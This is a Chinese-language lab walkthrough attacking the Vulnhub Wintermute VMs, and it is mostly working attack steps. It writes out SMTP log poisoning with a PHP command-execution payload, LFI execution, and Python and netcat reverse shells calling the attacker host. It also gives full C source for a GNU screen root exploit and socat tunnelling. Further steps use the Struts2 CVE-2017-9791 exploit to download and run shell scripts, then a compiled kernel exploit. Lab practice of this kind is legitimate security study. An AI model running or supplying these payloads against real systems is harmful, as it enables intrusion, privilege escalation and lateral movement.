Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目十九~二十:Wintermute-Neuromancer-Straylight(smtp突破,LFI利用,内网横向渗透,端口转发)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月22日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、环境配置
导入虚拟机
管理-》导入虚拟机
然后一步一步的就行
配置网络
工具-》全局设定-》网络
设置两块网卡,地址要不同,使用默认的给的,把第二个改成10.0.3.0即可
在这个Neurom的虚拟机(内网虚拟机)中采用network1的网卡
另一台虚拟机首先采用一台内网网卡
如下图,一张这个
回到vmware。上方导航栏编辑-》虚拟网络编辑器—-》右下角修改
把桥接的信息按照图示改了
然后再把kali改成桥接重启即可
二、外网打点
web突破
nmap -sS -sV -A -T5 192.168.56.103
nmap -p3000 -A -T5
扫出来了三个开放端口
smtp:常用来开放邮件服务
80:不说了
3000:利用nmao针对扫描得出这是一个基于apache的服务
gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
---利用gobuster扫描一遍,这个工具扫描的慢但是精确
扫出来三个目录
再用这两个工具快速过一下
dirb -h 192.168.56.102 --爆破目录
curl http://192.168.56.102 --简单扫描
nikto扫出来的信息如下
,
有这么几个目录,我们都访问一下,结果都没有有用的信息,结果如下
这个全是图片
此时此刻,各种工具扫出来的一共五个目录都没有任何的突破,现在除了25端口就只剩下3000端口了,又因为3000端口是apache的服务,所以我们访问一下
进去之后显示一个登录框,我们尝试弱口令登录
admin/admin
登录之后如下
进行信息收集,发现没有任何的有用信息,只有下面的关于我入侵的警报。。。顺手点了一波删除
在页面的最右边有我们没有见过的路径,拿去访问一下
不是在3000端口,我也是试了好几次才试出来,做到这里,注意观察url
我们点击submit 发现url变成了如下的情况,这不就是上一个项目的LFI嘛,LFI大致可以分类一下几类
- …/…/…/etc/passwd -----枚举目录的密码信息
- ?page= ----读取php
- ?bolo -----可能存在文件包含
然会就是看到了页面包含了有几个日志文件,其实这就是个提示(我们应该去搞日志)
之前我们nmap扫出来的smtp是这个:Postfix smtpd
那么我们就谷歌搜:Postfix log location
/var/log/mail
访问:
http://172.16.2.5/turing-bolo/bolo.php?bolo=…/…/…/…/var/log/mail
可以成功访问到很多的邮件日志信息直接漏了出来,那说明邮件处理的结果会显示到页面中,那就顺其自然的在邮件里写个一句话或者其他木马然后我们这边开端口连接就行
smtp突破
nc 192.168.56.102 25 或者:telnet 172.16.2.5 25
1)HELO hackerman ---向服务器标识用户身份
2)MAIL FROM:"hackerman <?php echo shell_exec($_GET['cmd']);?>" ---MAIL FROM:发件人
3)RCPT TO:root ---RCPT TO:收件人
4)DATA ---开始编辑邮件内容
5). ---输入点代表编辑结束
6)http://192.168.56.102/turing-bolo/bolo.php?bolo=../../../../var/log/mail&cmd=id
7)加入python反弹shell:
http://192.168.56.102/turing-bolo/bolo.php?bolo=../../../../var/log/mail&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
8)python -c 'import pty; pty.spawn("/bin/bash")'
一下这需要在bash环境,直接在kali终端输入bash
ctrl+z
stty raw -echo
fg
成功获取shell,按照上面的稳定shell建立代码建立一个稳定shell即可
三、打点机提权
打点机信息收集
内核、系统信息查询
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-
可提权SUID查询;
find / -perm -4000 -type f 2>/dev/null
并且查看一下自己的IP,就可以知道那台靶机的网段
查询SUID,看到了一个异常文件(其他的都是自带的,每一台都是这样,只有这个圈出来的与众不同,还带个版本号)
谷歌搜一下,有exp,按照谷歌的指示,一步步的就好
1)本地新建一个.c文件,命名为:libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
----
2)本地新建一个.c文件,命名为:rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
----
3)kali开启:python3 -m http.server 8081
4)靶场下载:
cd /tmp
wget http://172.16.2.4:8081/libhax.c
wget http://172.16.2.4:8081/rootshell.c
6)gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
7)gcc -o /tmp/rootshell /tmp/rootshell.c
8)cd /etc
9)umask 000
10)screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
11)screen -ls
12)/tmp/rootshell
成功获得root权限!
13)获取一个稳定shell:
python -c 'import pty; pty.spawn("/bin/bash")'
14)export SHELL=bash
15)export TERM=xterm-256color
16)stty rows 54 columns 104
17)ctrl+z
18)stty raw -echo
19)fg
再次信息收集得到了一个tomcat的war文件,我们怼着这个去干就完事了
四、内网搭桥
查找存活IP:
for i in $(seq 1 255); do ping -c 1 10.0.3.$i; done | grep "bytes from"
for i in $(seq 1 65535); do nc -nvz -w 1 10.0.3.1 $i 2>&1; done | grep -v "Connection refused"
发现开启了8009、8080、34483端口!
需要将它们通过隧道传输到与我相同的网络上!
端口转发:附加一个与号“&”在后台运行 socat 命令
10.0.3.3是内网的主机
socat TCP-LISTEN:8009,fork,reuseaddr TCP:10.0.3.3:8009 &
socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.0.3.3:8080 &
socat TCP-LISTEN:34483,fork,reuseaddr TCP:10.0.3.3:34483 &
socat TCP-LISTEN:xxxx 这里描述的当前掌握shell的主机
fork,reuseaddr TCP:10.0.3.3:8009 这个描述的是目标主机的端口和IP
netstat -plunt ---查看本地的服务端口情况
nohup 后台运行。可以把这个命令写到 /etc/rc.local 里面开机启动启动。
&号是标准的.nix语法,用于运行命令并将其放到后台运行.
达到的目的:
我们访问S机器的8080端口就可以访问到N机器的8080端口
----------------------------------------------------------
往下翻,有我自己画的图
内网机器突破
信息收集
直接扫外网机器的对应内网机器的端口就行
nmap -T5 -A -p8009,8080,34483 192.168.56.102
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.0.M26
|_http-title: Apache Tomcat/9.0.0.M26
34483/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
开放的三个端口分别是tomcat以及ssh的端口!
这里想到我们之前在外网的机器里得到的一个tomcat的路径
/struts2_2.3.15.1-showcase
访问: http://172.16.2.5:8080/struts2_2.3.15.1-showcase/showcase.action
得到中间件信息版本,搜索EXP准备利用
看哦,圈出来的就是它的用法
webshell:CVE-2017-9791
漏洞点地址:http://192.168.10.3:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action
kali搜索一下这个exp
searchsploit 42324
拷贝脚本到kali本地目录:
cp /usr/share/exploitdb/exploits/multiple/webapps/42324.py .
查看代码就是执行python脚本回弹外壳!那么要在socat建立一个反弹shell的端口:
socat TCP-LISTEN:8081,fork,reuseaddr TCP:172.16.2.4:8081 &
远程命令执行
把本地的4321端口和kali的4321隧道建立起来
socat tcp-listen:4321,fork tcp:172.16.2.4:4321 &
socat tcp-listen:5555,fork tcp:172.16.2.4:5555 &
使用这个命令,没有reuseaddr,因为reuseaddr代表开启服务端口,仅仅监听的话不需要加reuseaddr
kali用5555开启服务
python3 -m http.server 5555
用pentestmonkey总结的反弹shell:写入rong.sh文件中!
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 中间机器IP 6667 >/tmp/f
---这个网上找的
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
kali开启监听:
nc -vlp 6667
执行S2的脚本:文件上传
python 42324.py http://172.16.2.5:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://中间机器IP:5555/rong.sh -O /tmp/rong.sh"
文件赋权:
python 42324.py http://172.16.2.5:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/rong.sh"
远程执行:
python 42324.py http://172.16.2.5:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/dayu.sh"
成功获得反弹shell:拿稳定shell
五、内网机提权
信息收集
这里信息收集的方式与之前一致
内网信息枚举:
wget http://中间机器的IP:5555/LinEnum.sh ---
wget http://中间机器的IP:5555/linpeas.sh
chmod +x LinEnum.sh
chmod +x linpeas.sh
cat /etc/lsb-release ---查看版本信息
uname -a
提权:方法1
Linux version 4.4.0 exploit:44298
cp /usr/share/exploitdb/exploits/linux/local/44298.c .
gcc 44298.c -o dayushell
wget http://172.16.3.6:5555/dayushell
chmod +x dayushell
./dayushell
成功获得shell!
如果是32位的kali系统用gcc编译44298.c会报错,因为里面代码含有_u64写的编码…必须得64位系统用gcc编译!